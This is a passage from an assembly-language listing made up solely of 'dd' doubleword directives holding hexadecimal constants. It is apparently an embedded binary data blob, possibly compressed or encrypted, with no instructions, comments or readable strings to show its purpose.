46091EFEh, 0E41CDCCh dd 205D09A4h, 6FB1EBB8h, 0AF0900DCh, 0E2A353B6h, 312E77Bh dd 5B00AB4Bh, 9D699C9Ah, 2D6EC715h, 35103CA6h, 4DCE4500h dd 0DB32131Eh, 0D1B802E6h, 61AB0320h, 82BC9854h, 0B3D02DCFh dd 3710481Fh, 9A9D0017h, 0AD65FD4Ah, 0FB76B6B9h, 6B130E0Eh dd 0E14D64B2h, 779CF890h, 3CC5002Eh, 0C1436F3Dh, 4D5B5912h dd 37E69840h, 0EC8E4Bh, 4E211E10h, 255BEEA5h, 27E8CD00h dd 7C86561Ch, 800B03BBh, 0D613BF4Ch, 9F08E3E0h, 12004278h dd 6AA7468Fh, 2A341C5h, 0AE4C8918h, 14948219h, 4B310C78h dd 0A47630A0h, 0A30CCCBEh, 1B308F0Eh, 0AB4A8000h, 0B943850Bh dd 0AE80358h, 739616BFh, 488C9003h, 0E7E9A5AFh, 72851241h dd 3A9914DCh, 806CBD73h, 0A8E88D28h, 76841F1Dh, 7C9C1503h dd 4B780CAFh, 1E310FA3h, 59769F30h, 0A61AA17Ch, 8475520Ch dd 0B94F8900h, 0AE77810Bh, 889C1728h, 4A831E06h, 4296AA2h dd 53856975h, 81638799h, 9E2E6C76h, 0D9C1E249h, 7419F8F6h dd 6FAF3180h, 0EFEC3459h, 29A46200h, 0F595EBCBh, 440300DCh dd 53094B31h, 200F3D9h, 0AD676955h, 7C10A0A6h, 15BA002Dh dd 68E28790h, 7718FE3Bh, 6271066Fh, 4248006Ch, 15ED992Bh dd 0EA0153FBh, 0E90327D5h, 288726F1h, 4113A7ADh, 8C0DA3E5h dd 0A14425C9h, 8C18A3F5h dd 2FC6859h, 6C251022h, 32E31C0h, 31E753C6h, 0AC59A015h dd 8A22D219h, 0EB9C03E6h, 554048C5h, 0FB382A19h, 0B9E9D3FFh dd 59BC6999h, 0A8129B7h, 47C843A8h, 0DE253119h, 3560F059h dd 0EFE30629h, 4068F9CFh, 0FC201F02h, 8A6957F1h, 0D0214BD0h dd 0BDC42F90h, 67AA61DBh, 0E85186E9h, 0B983E624h, 2ADC576Ah dd 91A66801h, 19FF1A7Eh, 4F07A453h, 2832F8F1h, 7880DCD6h dd 6BEEB529h, 399D31C3h, 0E9181421h, 0F5734C84h, 2AE85840h dd 91736398h, 0EF26FAEh, 81201841h, 0D981E6B9h, 30B8FD7Ch dd 181D8E19h, 0EA4C5226h, 98E858A8h, 0AD2D91E1h, 1378691Dh dd 5FC33977h, 915A92F1h, 15F29DA4h, 746DDD92h, 0EDE9B88Eh dd 1144A230h, 0FE880B6Ah, 335D1D62h, 105A5021h, 2B21AE02h dd 7E1CFA08h, 4F6A9121h, 0D4928890h, 4F544121h, 0D48A88F0h dd 44405D21h, 35A22231h, 53791908h, 351A2284h, 19B22510h dd 841A3211h, 256377C5h, 485C0948h, 296C846Ch, 0AC8C2152h dd 5F343421h, 0E0530A3Bh, 9D72AE21h, 4061DAF4h, 2D6F8482h dd 609B826h, 0D07F8627h, 0E64490D1h, 0CB029DC1h, 0A0493A68h dd 452E1128h, 9A97B030h, 102F62A4h, 4C98016Ch, 61D205A3h dd 11C99808h, 0EB2C1970h, 485C0369h, 40BC6407h, 9BE74101h dd 0E822BD63h, 34702512h, 41A836DCh, 225F401Bh, 0E7E1C121h dd 3890A426h, 18B2871Ch, 37B711D0h, 83CAF501h, 0FDA1B9CDh dd 462BE0h, 0BF33B29Ah, 0CA7991AEh, 0C0A2098h, 241AAAE5h dd 5357D90Eh, 0E16BA803h, 7C18EE44h, 0D6F2085h, 37FB8018h dd 874130h, 316B0E5h, 531E1926h, 0BD60A506h, 4A07C1Dh dd 894727F7h, 7E37E8CAh, 444D2F06h, 0C0F02187h, 372ECF69h dd 0BA0C6365h, 26A119F3h, 31F71F3Ah, 80209D0Fh, 8392613Bh dd 0A5186375h, 9F605159h, 0FBE6009Dh, 0AE883DC5h, 0C7602169h dd 1AB815D8h, 1FB4A424h, 0CE67933Ch, 1EE083C1h, 0BD1F8E48h dd 0C8691509h, 0D72C041Dh, 1189A842h, 0D29C54C9h, 9ACB800Fh dd 0B3BA1ABh, 3659EF7h, 4FD6C10h, 66F13405h, 84075421h dd 7D04A32Ch, 0D8973093h, 345D167h, 0C64C6DA9h, 65F883DBh dd 2B01E8FFh, 86086ADAh, 0F3FCA369h, 8FAE0782h, 77C3ED50h dd 0DF6AB027h, 0D87DF728h, 0F12A3Ah, 3F02DE9h, 1E73BDBh dd 0E20C5DA7h, 0F013F5C6h, 5400DF68h, 50F169A3h, 7251DF7h dd 0A96EEA2Bh, 28C14655h, 0EC2D11C3h, 0E651E069h, 52F000C4h dd 54D268A3h, 0EF3C1DE7h, 3DC3E38h, 0F5C5F72Ah, 0DF6DC121h dd 66FE4E0h, 0BDAD2CECh, 48DB84Eh, 96B1C07Dh, 0B490E621h dd 6BAD3E1Dh, 188357CAh, 0C063A850h, 4384411h, 0B80079D8h dd 0B6052B8Bh, 0F73D375h, 7A128428h, 0E974DD80h, 0C67CA1D7h dd 0F7F00D0Ch, 14C4081h, 0B850D09Eh, 0ECA68E85h, 187D2052h dd 4B167F00h, 0EAF7D46h, 388C006Ah, 1273BCA4h, 0F00BDB5h dd 7846C1E2h, 0A0A6BEh, 58C8FB26h, 0E4B151Bh, 0F211EB03h dd 0D0123F4Dh, 0F8145BDDh, 0C7061B4Ch, 78E070E4h, 40A33641h dd 32B4EE0h, 0BFE8D9C3h, 600878F4h, 20EF9F6h, 0D5230D7Ch dd 2BFB0F9Bh, 923A4342h, 7CD3073Ch, 8EA01BEAh, 0B13120E0h dd 68C1B87Fh, 0E77EC5CBh, 71EF901h, 3883B3A0h, 0DD81C0BAh dd 0A5170964h, 930840DFh, 81A30CD2h, 2162C850h, 0A2F06678h dd 9461BAD4h, 979A088Ch, 3F14325h, 7D4D8082h, 8884AAD3h dd 0B500886Ah, 8CB00201h, 80A85124h, 0FE0F1980h, 0DFA38674h dd 591EA003h, 28CE494Dh, 6448F789h, 9C7B0873h, 22F1332Ch dd 0C163B864h, 5013CD49h, 0A436F053h, 3B151D00h, 0A18C92BCh dd 28F11E89h, 21D9C0F0h, 50DCDAECh, 66E5EE78h, 50DF2C78h dd 1668F10Fh, 0AE00541Fh, 0A98ECC37h, 0D9EC002Ch, 0A08DEDF5h dd 60A61754h, 0F0941C00h, 6EF4DD47h, 4D853D1h, 0DC8AD438h dd 680CDBD6h, 0EA010308h, 51E4F6DEh, 0C60F8574h, 0E2F10823h dd 2E11BB9h, 4EC7F1BEh, 24E491A0h, 4394CCB3h, 83DCA68h dd 4409B766h, 30AD9FF0h, 0FB59EF99h, 641094D2h, 4A450931h dd 8681481h, 70128ACFh, 4ABB342h, 0E09CDBC3h, 0A45BB34Ah dd 0A3342B0Ch, 0C50208Ch, 9562C00Fh, 31CCBC28h, 89BE09BFh dd 24B812B9h, 91BA48BBh, 44A422A5h, 0A189A6A7h, 0A324A012h dd 0CD91A248h, 0CF44CC22h, 0F0C989CEh, 8D015ACBh, 8B570AFFh dd 0FC5137C1h, 0B89487F0h, 0BAB284CEh, 0D1590497h, 80DB0852h dd 8412EEBCh, 0F53D03BDh, 0F2498D81h, 0F0884CE3h, 0AA091A9Fh dd 7BC84F3h, 2D47FA2Fh, 0D58701C7h, 0DDC70947h, 25BDBB81h dd 644881F0h, 6C40AEh, 0F34A1A9Ah, 49BC09EFh, 484DA420h dd 7F04E87Fh, 2B8659F5h, 531B8830h, 796088Fh, 29BEB5D5h dd 25C38CEh, 0F96FE625h, 0E0008303h, 64FF6EF4h, 50FE09E1h dd 0FE044218h, 6BF4B9ABh, 0BBCF0FF6h, 0BA816E89h, 0BB4938A6h dd 38B02921h, 0FDB70E5Ch, 0FE41E342h, 0F08F3A02h, 18C0F725h dd 9307D66Ah, 0F5F0055Dh, 0FF4DDC9h, 81800F1Ch, 8BFA8448h dd 28871329h, 0E4A9CC17h, 95795CC0h, 28C38331h, 7ECD2BA8h dd 3FBF830h, 92645330h, 9DC0ACE1h, 6200830Fh, 8EED54D9h dd 0E20CC2h, 0E652E9C3h, 0C7F38C6Fh, 5000E8E8h, 54FFD8F7h dd 7F46BF1h, 497CE62Eh, 11DCC71Eh, 0D4D85027h, 0DE03EA25h dd 7A8330F5h, 0F9CDE3E8h, 0FEB28DAh, 69F03840h, 0C3CA2C83h dd 40932AA2h, 0C4F521E0h, 0C21FEF78h, 1E3B8ABDh, 3029DAD8h dd 99C198B3h, 1C4CE63Eh, 0F0DC10CBh, 0E4E0157h, 21DAC3ECh dd 604DC1D1h, 0FBB7EC0Ah, 0B043A4F4h, 0FA4197AFh, 1859496Eh dd 95A4CC7Eh, 0ACE79B01h, 833E246Eh, 28C22C58h, 1FC454DCh dd 3CB0FEDFh, 0B1AD1F85h, 4E3833F6h, 0CD035FE0h, 0C2EF3207h dd 144A50ECh, 82403852h, 0EDCD00B1h, 2AFD7A5Eh, 0F215DCE1h dd 7DF8EC1Fh, 0E5216E09h, 759C95B6h, 5018FF80h, 70C8889h dd 7966251h, 1FDEA083h, 0D20094F0h, 9FC0E627h, 4DD95EE1h dd 307400DCh, 0F3285F3Eh, 0CD496EA5h, 2A017898h, 1F9AABF4h dd 7DDA6FE7h, 84D2F007h, 14A880A6h, 33F1B1F0h, 0C26C5020h dd 0C4F15709h, 50EC0DD8h, 1AAE7458h, 90F7ED9Ch, 60D71CC5h dd 2DEC7EB7h, 0DAC2ED00h, 0F56D5613h, 98599550h, 5880DE64h dd 2C21F51Dh, 1E546BEAh, 2FF909ADh, 54DFD081h, 50FCE0AFh dd 3E4089FDh, 13C080F6h, 1EE9C5F7h, 9D94A327h, 103524h dd 505DA78Ch, 0F10FC0E7h, 626EEA2Dh, 6169E221h, 0A9E0A4FCh dd 18A09023h, 10F728F0h, 60C4EB27h, 0AC86EA55h, 0F4690958h dd 8C55E62Ch, 1DA940D8h, 1868EC38h, 52AEC850h, 0D4B52AF1h dd 94D960AFh, 3E64A037h, 0BFD0CFAAh, 63A7F8D4h, 0A3C2E86Dh dd 0F4FED4ECh, 13F59516h, 0C0B36063h, 4F7DCCEh, 0D86EA354h dd 2AB89D21h, 0FCD7B0E3h, 2AF30E5Ch, 0F289F7h, 51AEC3E8h dd 8085F9FAh, 85F169ECh, 7071FF7Ch, 0C3D4903h, 16B7E8AFh dd 422EE88Eh, 0DAED34C4h, 67E6B4C1h, 0DEA309E4h, 0E10C99E9h dd 2C249860h, 1DDCD9F3h, 3AD824E6h, 0F08D286Fh, 20C43520h dd 8BE7A31Ch, 0AF66E09h, 6352E4C4h, 0C0384DDCh, 0F1A08905h dd 0C020C027h, 1098F62Ah, 8F69546Fh, 2FEE87ECh, 20C86E45h dd 2C3E52F3h, 2E3C1FD2h, 69F00F40h, 348621C9h, 6F1E5820h dd 0C0872EA9h, 0B0CC24DEh, 0A08814EDh, 5D218FCh, 0E2D2F450h dd 26ACFF20h, 0E2145515h, 0FAE0EB04h, 0E01E959h, 41B28768h dd 34E08649h, 1C31525Fh dd 3A84F0C5h, 835D0018h, 0D2814830h, 2B421434h, 0EF6880h dd 3AA530F3h, 0FAF8152h, 0A42B503Bh, 0AE834E40h, 327C423Eh dd 0C9636186h, 40CF3053h, 65660250h, 6203CE74h, 553B8587h dd 4E3AE0F5h, 3AF7C29h, 307F7D42h, 39E03646h, 0F4762B48h dd 0ECE94F7Ah, 823A2C55h, 0D1747545h, 0A9905300h, 0AC874E34h dd 304A073Ch, 0A07136AAh, 37463986h, 745A803h, 0A119A394h dd 9C408590h, 3733F387h, 0A0212C4Fh, 3455367Ch, 4E03B574h dd 5302AA2Ah, 43980D2Dh, 0D0C8AE87h, 57601B13h, 88640F68h dd 463C28B6h, 344BF580h, 30551FB0h, 1D36B33Ch, 5182B266h dd 1D45B52Ch, 852A4B40h, 30F41445h, 3601A886h, 2B461AAFh dd 0F5F040B0h, 6E7412D2h, 5530CE00h, 5002862Ah, 21AB672Dh dd 8753A0AEh, 2CE83FB6h, 73CA906h, 5090AB81h, 0C051C831h dd 8567E260h, 38A63CB2h, 0A5F910A5h, 7F87C8F3h, 81E8C30Fh dd 28014439h, 0F38CF721h, 1C215525h, 0AB82DC00h, 204B6039h dd 85815F45h, 144413Ah, 0F5493BAEh, 0E8923A7Fh, 0C87C50AFh dd 51C4272Ah, 8C088064h, 960624E8h, 24491E0Ch, 2C41007Ch dd 650746AAh, 50887483h, 2888DC2Fh, 83D06402h, 0C0A8A3D8h dd 26A92965h, 3C044C3Fh, 780F728h, 0E8305441h, 0A36F5D8h dd 98F053B0h, 48446007h, 42D09567h, 92F06CFh, 73D1D28h dd 0C8543E33h, 58545239h, 223EDC53h, 661308E3h, 7C24487Bh dd 0AB801CE7h, 8434072Fh, 444B4832h, 8AF44129h, 9C78B336h dd 4874FE55h, 0C8402052h, 0FB27CF5h, 36862C71h, 6AE8348Ch dd 26F0C0D0h, 468202Bh, 0B424DD5Fh, 82534402h, 59DC60B6h dd 49393BA4h, 0E3571400h, 0BEC58ACEh, 3811FD3Fh, 0A9E800A2h dd 39874421h, 0D918CFB3h, 0F25024h, 325C53CEh, 100E6064h dd 0F54574Ch, 91A8FC5Ah, 18C60C18h, 0D9007F55h, 0CF42B8A3h dd 1450DDh, 0A866BE36h, 0BABDE757h, 8BA8E665h, 0FAEDCA80h dd 98A900D7h, 50DBAF8Fh, 0FB0391F9h, 9260585Dh, 26D7B027h dd 12E41481h, 88F120F4h, 188E18B2h, 20F17A55h, 4230A00Dh dd 0A28D90C9h, 30D47F40h, 64D83EADh, 0CC03DF75h, 8D33FE06h dd 4EC011A8h, 2E3501F4h, 0B5683AD6h, 52E28C40h, 0FA40226h dd 0E13B15ACh, 3A5DBCA0h, 0AA0205F3h, 0A27FA21h, 241CB1FFh dd 0D4909F02h, 96005AC8h, 0AB11FED6h, 0A9B5E73h, 2B652738h dd 0FF0241E8h, 6359F016h, 610FF119h, 2180CD09h, 2016F722h dd 97008EA6h, 0F12DE1B6h, 3CAC2854h, 7C54EAC8h, 59FD00CEh dd 0A934D4E7h, 0D9527365h, 19B4B2E0h, 87998313h, 8004FF4Dh dd 14E6D7D8h, 1CA40A9Fh, 6A0DB6C8h, 0D401F127h, 3C18B172h dd 0F0EB5900h, 0D01614C0h, 99E2401Eh, 622F70CFh, 0A056CF15h dd 9F96F598h, 0A7CC07F9h, 0ECD42306h, 21C02208h, 419FA290h dd 45C32855h, 61B102D0h, 623C727Dh, 981174B7h, 7C8E39ACh dd 606F73ADh, 0BF459D8h, 8E075AE4h, 9351032Eh, 0FF08BDh dd 0E413D121h, 0AB8E92B4h, 0A2748FEAh, 0F152C878h, 0B4A507E8h dd 4F70DE25h, 49EE6D95h, 80149844h, 0C011EC0Eh, 0CF1479E5h dd 249166F6h, 0B4C4409Eh, 40CDBA73h, 43473CB8h, 8B1F6EB1h dd 0EB070767h, 69C05346h, 0EC06E6h, 7861B0DDh, 0AE09F294h dd 385A9824h, 0FB15AB60h, 0F1109961h, 23C81F23h, 55900C5Eh dd 1340493Ah, 0DDFAA014h, 4FCD155Ch, 60351C90h, 16771040h dd 6991DA6h, 9CA1A306h, 6606D0DBh, 46264DEEh, 0A54E3E48h dd 443DE99Dh, 0C00DC037h, 1C91AB90h, 6842F141h, 9F983013h dd 77CCF711h, 92821D88h, 80FF9FA4h, 4A10B9EDh, 0FCE04993h dd 6877112h, 681D3808h, 0B8325908h, 22FA01DDh, 0D1D0ADACh dd 0B4112001h, 129F4400h, 34FF0FF3h, 3E581852h, 4A6FB81Dh dd 4EAB4100h, 36E6A653h, 2197ED5h, 67FCB196h, 0A480F3BEh dd 0F03ACCF6h, 9700E60h, 50ADD0AAh, 11F99CE8h, 4CCE90h dd 6369C45h, 1653099Fh, 4993A31h, 30B2434h, 81909333h dd 44525114h, 10908463h, 0FC9F9D60h, 448CCC73h, 0A57D9718h dd 31695C00h, 9D5616B8h, 0E7080030h, 2D75730Bh, 370032ECh dd 0D2A396B9h, 0A221067h, 3DEC0D8h, 6587038Ch, 80183F4Dh dd 285927CEh, 4C670081h, 625C5A29h, 83009FAEh, 240A1EA0h dd 2F76A42h, 89C3B466h, 0B880FCCCh, 4785596Eh, 0E2BCCE50h dd 1E28F749h, 5E16E091h, 9DC84049h, 80CA11F0h, 0D1654017h dd 0C97500EEh, 7CCD2B2Dh, 6D1B8DDCh, 8DC01AAAh, 97AE6C49h dd 80DD9138h, 4DECBB53h, 4A631405h, 7010F8B1h, 0C9573E0Dh dd 67C89938h, 1608FD18h, 0C4F3599Dh, 0F52040C9h, 0DF6916h dd 382C80F6h, 6125C228h, 0FC81C502h, 0A050CD90h, 605452C0h dd 8ECF04ACh, 80E88A65h, 3ACEF440h, 292DC820h, 89ACE10Bh dd 0C090B9D2h, 371E79B4h, 538138FCh, 5815A9C9h, 5CC190D0h dd 1C00706Ch, 0D441671Ah, 0ADE8D106h, 89C90C60h, 0FA3F4AA3h dd 7AF401C6h, 398FC162h, 0AC1AECFCh, 129E860h, 3CCCB412h dd 150064CAh, 3C05D804h, 984C4A61h, 70B0094Fh, 0CDA0315Ch dd 74E100FBh, 641D0E5h, 0BF007220h, 737D441Ch, 48C31ED5h dd 0FBC3ACA9h, 0D9FA9A59h, 640FEC44h, 0A08B24CEh, 0C192CC16h dd 1888A202h, 65AE80h, 8FD23F40h, 0B4445F7Eh, 624FB504h dd 60D87418h, 38FB0192h, 580CC0C5h, 232027D8h, 0E40701F3h dd 180E8E5Eh, 0FD588E1h, 564BE400h, 3E60BCF8h, 0B58E1615h dd 0C00C02DDh, 0B80ACC26h, 9AB803C0h, 42099F8h, 0D08F4AF3h dd 9D4414E0h, 0B7A2500h, 658DFEACh, 3820602Eh, 0EF5AB8ADh dd 15644C82h, 20944A5Fh, 0DB981Ch, 23C0D439h, 702A662h dd 2941FAA8h, 0ADCC98F9h, 0F4422BC8h, 0B8250250h, 0AB10E17Ah dd 0C6FAF0A0h, 69D82B10h, 8CBDED00h, 0D0AE75D7h, 0A040E19Eh dd 0B2065D8Dh, 7009330h, 7FF06181h, 2D479F60h, 0B02E7975h dd 0F6111006h, 5DE40A81h, 1CDE8Eh, 8BE412D4h, 1AD58B5h dd 2E203490h, 0C22701F4h, 2FA24FFBh, 54F440BEh, 9592C3Fh dd 0CE760048h, 8A25BFBh, 0AC20D40Ah, 8845025h, 8E1098A4h dd 0D4DE553Ah, 1E2098BCh, 0B4AC00D3h, 0B590EDDCh, 801F89Dh dd 41FBB724h, 1032FFCCh, 0FE016423h, 6B599E16h, 2188C818h dd 0B81600F6h, 4F1CCC9Fh, 4C2820F0h, 50CAB437h, 0B0B2685Dh dd 0E144C818h, 91D87639h, 0A25C0390h, 100D1684h, 61D22DF9h dd 0A640D0h, 2759494Eh, 4C07DE5Bh, 6F1AAE00h, 0A3292FC3h dd 6B48B16Ah, 1D914095h, 77FE6F87h, 5EF6405Dh, 0ACA0B6FCh dd 5362ADDBh, 90964A29h, 0A6448Ch, 4EEB80AAh, 9B5CA8F9h dd 0A4825290h, 8260B44Fh, 1F62A342h, 0D2ABBAE4h, 106C378Ah dd 4112B2E5h, 0C06CE02h, 25F2B80Eh, 10D483B3h, 0C0916C4h dd 0CF60318Fh, 0CD17B080h, 0AB2C4EFDh, 0CEA93002h, 0E507298Ah dd 0C2582C78h, 33A170h, 615AE248h, 6D8FE5D8h, 0C8F55E24h dd 0E3AED084h, 0D9154304h, 0E83AF5F4h, 694C05A9h, 0C02E0AE0h dd 2C998E8h, 80BF898h, 0C2574738h, 20480C78h, 0CCAAEC62h dd 37548880h, 41C613E4h, 2CC128A2h, 550B166h, 2207339Dh dd 0CC84D544h, 16F96163h, 0AC537470h, 24D444CCh, 10167100h dd 19BC3FE2h, 4EF707AAh, 206C83ACh, 62273753h, 0F80428A4h dd 5B599C16h, 2300988Eh, 3E6B1670h, 2B150886h, 84848A61h dd 10A67457h, 0C482476h, 0F5D8C294h, 883AD503h, 911F966h dd 3CD127E2h, 31EB6CC1h dd 3EA4716Ch, 7947FE0h, 6586E977h, 0D1F7646Ah, 0D0D6C8h dd 7A7562A4h, 46E113C4h, 0C24CD0ACh, 2C0B083Bh, 828BC501h dd 80B2A42Ch, 554D41C0h, 0C0A0C4B4h, 52BB0113h, 0D66161E3h dd 0B1FAB403h, 74650BC8h, 7F5029h, 6FE736ECh, 7A802C78h dd 0EDD1900h, 3D6EF797h, 1CE258B7h, 5954B610h, 26CC1020h dd 0FA4D0801h, 36F1E2ACh, 0E40D02BCh, 1C3E8E58h, 0E415CF04h dd 7B831A41h, 32E1004Dh, 1DED3EC1h, 2B4C3161h, 0A80D2CB0h dd 8CDCE60Ah, 5B68B207h, 0B647F9D0h, 0CE90C94Dh, 6D500890h dd 37AD3E03h, 0F865672Ah, 0C1FDD6BCh, 0E499F222h, 0A18C47F3h dd 81159C3Ah, 4C51E2C0h, 842C6D95h, 3830DEC8h, 0D4527669h dd 2E10A860h, 4D8704F9h, 68E606A3h, 106530C4h, 554E120h dd 4409DF18h, 2103703Fh, 0EACE73Ch, 20BF9850h, 0D4CB008Bh dd 7A636AF3h, 1496A3DBh, 5BFC3581h, 3835F03Ah, 5F814C29h dd 20BB9333h, 0A103ACB6h, 5C680DCFh, 6CE19C92h, 0ECEF785Ch dd 28302C5Ah, 8D335018h, 0B07C30E9h, 817D613Eh, 0FDAC12EFh dd 90F56589h, 9B466420h, 2AC83CCh, 0A1C2A3B6h, 8980878h dd 9C020F46h, 97CCFB9Fh, 96102031h, 0A10C9FA8h, 59D02C33h dd 316C002Bh, 4F2EB047h, 290175B2h, 412382FDh, 0BDD367BAh dd 16C2FC87h, 0A984804Ch, 52589C0h, 660950DBh, 27F4D124h dd 0A613D8BAh, 17B90448h, 54164F94h, 50490000h, 59D2CBA2h dd 9C1098AEh, 855F3822h, 0A1DB1251h, 324A5C88h, 69A1E58Ch dd 128FC682h, 24F5FC60h, 889078D3h, 90DE978Eh, 2CC42244h dd 9BD02718h, 315D0D21h, 0A3B84162h, 142043B8h, 49907030h dd 63745F46h, 0D49A9103h, 9110F1DCh, 665015E0h, 2B393692h dd 2CB1A169h, 0AF18C9D1h, 7745900h, 98AE3DB1h, 0CCE549A2h dd 0EC7C5E14h, 9B031223h, 0D4CCFE9Fh, 95201962h, 14D9FA3h dd 815132D3h, 0E09DEAFFh, 99C012ADh, 0A235430Ch, 0AA57178Dh dd 5AB44710h, 4A22A001h, 206FF890h, 5CF681A0h, 1AAA5854h dd 0CD8088E4h, 271C021h, 0EB0DBE9Dh, 57F74000h, 15E59478h dd 644B0105h, 0A89161DBh, 29E4302Eh, 9CD05286h, 826DF509h dd 48B1E48Bh, 0BC4838D1h, 70F8CC7h, 0E3C6FDD9h, 8B2BAC34h dd 0A32100DAh, 876DCE39h, 0EE7BE976h, 0AB054400h, 0F8B1FC64h dd 0B4A852DDh, 0AE273058h, 59095C18h, 0CD21B263h, 91290025h dd 9F1EBA4Eh, 1F00F8ECh, 0EA30688Fh, 59397559h, 7185749Bh dd 377082DCh, 0CAE41445h, 0E85B160h, 3AF57B09h, 95C5823h dd 0CB96A0ABh, 265DE8C0h, 13CC1B49h, 0F04FBA98h, 24F28413h dd 0F00024F6h, 439E1E6Ch, 6607A2A0h, 0AE0225EFh, 96FFAD30h dd 0A9B81F36h, 0CF2E4CFCh, 0E00E789h, 52D803F1h, 45A059h dd 6A1DA285h, 0DBB2B30Bh, 5AE01B60h, 9EE658AAh, 6313BFA8h dd 1A6806DCh, 4C04884Bh, 23BAA655h, 5F062890h, 0AE070118h dd 0A5E6EF61h, 0BC089591h, 676400B8h, 9B471E18h, 0BF7F3B22h dd 0D0CB398Fh, 0A0829D6Bh, 6502F4B8h, 0E49CC5ADh, 0F23D60DDh dd 848301FEh, 4AFDC3A9h, 0D0B0D739h, 149821EDh, 0F9809491h dd 7A7733E4h, 79CD0E5Fh, 9640E960h, 9AEE95A3h, 0D0AA1200h dd 50DAF5FAh, 0AE5518EBh, 4AF6F81Fh, 3C45944Ah, 20C1D358h dd 3C292990h, 0FF2C0F07h, 810777A3h, 20696798h, 94442D18h dd 0A0DF51AEh, 244EC2D3h, 0AD3481A6h, 12B0200Fh, 52A0D813h dd 658B6080h, 0A588B82Ah, 0A03A01B0h, 0F6A6465Bh, 8BC93CD1h dd 20440C4Ch, 4184AA0Ah, 0EC406FE4h, 7B3B65B8h, 0E38F0699h dd 900F92B9h, 0F720A498h, 22BF0113h, 0F92DB1D4h, 0AB444067h dd 0D1411AB8h, 9C7A3C60h, 44682810h, 90552B8Ah, 4891EC94h dd 6118D358h, 0FCD2B679h, 88091C54h, 5E2830A5h, 0AE0A1118h dd 80B18859h, 0B7186663h, 8B314A33h, 2DBA69DBh, 0D6CA4180h dd 0F77F25AFh, 0DECFB600h, 566BB15Fh, 0C6309088h, 39E32B70h dd 7F76EA02h, 60866098h, 187B6BD8h, 28F8FBB3h, 4D514B3Fh dd 0B8A42CD8h, 0A1628CE0h, 64D52770h, 243905E0h, 0C7F05D6Ch dd 88D36524h, 88B4B4A4h, 8E65EF80h, 0AA518A6Dh, 8D0899E4h dd 4824CEF1h, 0F6FD74A3h, 0C616F4A1h, 69E5AC60h, 4103EE7Eh dd 5D670C51h, 0F61C9839h, 0F5F40215h, 0A75FB263h, 0AD5A9040h dd 7BCC7182h, 0B5A60FCh, 0B8AE1F5Eh, 0D4DED3A2h, 0E6F20668h dd 2B7859DDh, 0AB08F254h, 0E182C810h, 0B55C0909h, 1048CC91h dd 0DF662Dh, 0AA2F466Ah, 5A9B61A8h, 68E3F924h, 2AC8AD02h dd 0A028A3C9h, 0B400F492h, 38985468h, 0C0AC460Dh, 0F8719962h dd 1EBCBC2Ch, 71768Ch, 5BF8E146h, 0CE415767h, 0AEC4B48h dd 0A4D01DD5h, 4421E608h, 0E40960F5h, 1E8E245Ch, 11D37014h dd 0A1A4E407h, 3210D661h, 35A249Bh, 0C8AE42A3h, 0D812DE72h dd 5840D52Ch, 0EFB034CDh, 70A5010Bh, 27CB7507h, 39E0E089h dd 0EB0C2C01h, 0A7DE3017h, 5F04C87Dh, 0E431ABB6h, 8A17CEC0h dd 944025D5h, 650BFADFh, 4631C2A2h, 0CC60F0C1h, 348012C0h dd 0BE750187h, 27D7F83Fh, 500072CEh, 1D41EE48h, 0C3C98401h dd 0C0DD880Fh, 6C651FA5h, 56526E00h, 0ADFECEB0h, 8D330B76h dd 38A24CACh, 8C44203Eh, 85E3AE20h, 63DEC438h, 283BB852h dd 0BA442470h, 7D69024h, 0CC7657B2h, 0F965E48Eh, 8C6098F0h dd 9A16FA04h, 0A0AC4B59h, 16F225B0h, 57C8D600h, 23B105A8h dd 4A20069Eh, 490FD328h, 0A468B205h, 28A52B84h, 4F5FE0h dd 59E4DB82h, 616DD4AEh, 1E96FA48h, 0E540513Dh, 7757B104h dd 8030985Ch, 802112BCh, 74099894h, 915B0C65h, 30304688h dd 420F401Ch, 0AE0A34F0h, 98C927E6h, 0F0730941h, 94394460h dd 74E02CE8h, 0C100C946h, 3ECD4E44h, 0B890F69Ch, 99918FBh dd 7FCCF89Fh, 93836C65h, 0DECA9FA1h, 0D134B1D8h, 15E18BDh dd 58BCF231h, 80E3AC41h, 80F8C8C1h, 0F3F0BB9h, 669E1AF3h dd 401B6380h, 0D49A7A01h, 48DED122h, 9280B82Bh, 43C30CFBh dd 4A002D7Fh, 0BECCFCDFh, 19E7DBBh, 685DDD6Eh, 6026376Fh dd 614C9970h, 0D0984CE5h, 0B94D0CC0h, 3DC92Eh, 0AD4C30EBh dd 0FC9D7EA9h, 10A43458h, 0F864F24Ah, 185D60A4h, 91AE2309h dd 6607BA11h, 0C3671865h, 15E004C7h, 0F50DA397h, 0D0D783CDh dd 1988C40Eh, 18D721C0h, 0D14000EAh, 0CE63368Ah, 0A430DE53h dd 57FC2954h, 103C9760h, 0E710C943h, 0B9AC5013h, 5D02B4B6h dd 5E08D13Ah, 1422D970h, 46862038h, 0A1AD3003h, 7877B55h dd 12662E35h, 9010CBFBh, 0C10FC96Ch, 0C3BB7647h, 0A004914Dh dd 7A41CCh, 0AE93D61h, 0CB1A749Dh, 0D5C063Bh, 0D9CCAA57h dd 3011A802h, 0FD129F9Ah, 20F2C7CCh, 9FA694C0h, 0D12CC848h dd 0F21D80E8h, 440CC465h, 71009C25h, 0FDCC5A44h, 7341963h dd 0C7A703EFh, 331FFAh, 0D0DFAA84h, 0DD4ED392h, 6509A020h dd 91F0962Ch, 51F60053h, 62173956h, 94A12FFCh, 3C2D6000h dd 0B48C2C6h, 4AE21354h, 0BCA6E052h, 9ECAF076h, 4E6584D0h dd 0F6688296h, 61041460h, 4F125894h, 0FAA60847h, 0CC4010A5h dd 0D80E6D7h, 70A125A3h, 3029F00Dh, 8A7820F0h, 84401557h dd 9120F72Ah, 7182F840h, 86CA6D0h, 4E00DF4Ch, 0CE2C3554h dd 0A2503A1Bh, 6B0CFAEh, 6091FC65h, 58783CEFh, 4C1F0581h dd 0A804D87Fh, 0B65F7A6h, 0F04056C8h, 0E0BAFA01h, 5310D660h dd 3E58514Fh, 54F8F056h, 1A5BC25h, 41ED19B2h, 34D92B93h dd 0A3005220h, 17C935D2h dd 2A5C6337h, 1C887432h, 0E66D935Fh, 4A268314h, 3948ED90h dd 8CC8E8C0h, 3405A201h, 0A4764AC3h, 0C1E492CCh, 3DC06121h dd 2028CD5Bh, 605BFFB0h, 2C5CC23h, 0CE484269h, 1C67DD5Fh dd 2E6718C4h, 1F043580h, 1B004F15h, 44A55857h, 1475069Eh dd 0B8B8A407h, 0BE08293h, 6255D520h, 0B2D075AAh, 2030B068h dd 289920BEh, 0F6181ED9h, 0D3EA4E4h, 0BBF0044h, 0BE347E9Dh dd 